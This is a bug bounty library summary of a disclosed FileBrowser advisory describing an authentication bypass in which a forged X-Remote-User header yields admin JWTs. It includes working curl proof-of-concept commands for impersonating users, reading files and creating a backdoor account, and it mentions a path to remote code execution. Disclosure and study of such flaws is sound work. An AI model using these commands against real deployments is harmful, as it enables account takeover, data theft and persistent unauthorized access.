# File Browser: Authentication Bypass via Proxy Auth Header Forgery

FileBrowser proxy auth trusts the X-Remote-User header from any source, letting an unauthenticated attacker mint an admin JWT with one forged header.

- Payout: Research
- Severity: critical
- Program: FileBrowser
- Found by: Akokonunes, neo-ai-engineer
- Disclosed: 2026-07-10
- CVE: CVE-2026-54089
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xqp3-jq6g-x3qm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xqp3-jq6g-x3qm
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:privilege-escalation

**Target:** Go web file manager, /api/login proxy auth path
**Root cause:** ProxyAuth.Auth() reads the configured identity header from any request with no trusted-proxy IP check, shared secret, or password verification, and auto-creates unknown users.
**Steps:**
1. Configure target with `filebrowser config set --auth.method=proxy --auth.header=X-Remote-User` and expose the port directly.
2. Confirm a non-admin JWT is blocked: `curl -s http://localhost:8085/api/settings -H "X-Auth: <ATTACKER_JWT>"` returns 403.
3. Forge admin identity: `curl -s -X POST http://localhost:8085/api/login -H "X-Remote-User: admin"` returns a valid admin JWT.
4. Use token: `curl -s http://localhost:8085/api/settings -H "X-Auth: $FORGED_TOKEN"` returns 200 with full config.
5. Enumerate users via `GET /api/users` with the forged token.
6. Impersonate any user with `-H "X-Remote-User: testuser"` and read their files via `/api/resources/`.
7. Create persistent account: `-H "X-Remote-User: backdoor_account"` auto-creates the user and returns a JWT.
**How found:** Code review of auth/proxy.go: noticed the header is read with no origin validation and that createUser() is called unconditionally on ErrNotExist, then validated against a live Docker instance.
**Exploitation:** Attacker with direct network reach to the FileBrowser port sends POST /api/login with a forged X-Remote-User header naming admin (or any user); the server returns a signed HS256 JWT for that identity, granting full admin API access, user enumeration, file access, and persistent backdoor account creation.
**Escalation:** Admin JWT allows modifying server config (shell, commands, rules), which can be chained to enable shell mode and achieve RCE.
**Insight:** When a product supports proxy/header-based SSO, check whether the identity header is trusted from any source IP and whether unknown identities auto-provision; both are common in Go/Node reverse-proxy auth integrations and turn a single header into full takeover.

## Proof of concept (copied exactly from the original report)

**Forged X-Remote-User header mints admin JWT**

```
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
```

**Impersonate victim user via forged header**

```
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"
```

**Auto-create backdoor account via nonexistent username**

```
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned
```